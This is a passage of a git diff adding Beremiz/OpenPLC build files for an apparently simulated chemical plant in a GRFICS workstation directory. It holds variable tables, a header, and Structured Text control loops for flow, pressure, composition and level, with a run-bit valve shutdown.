+363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real 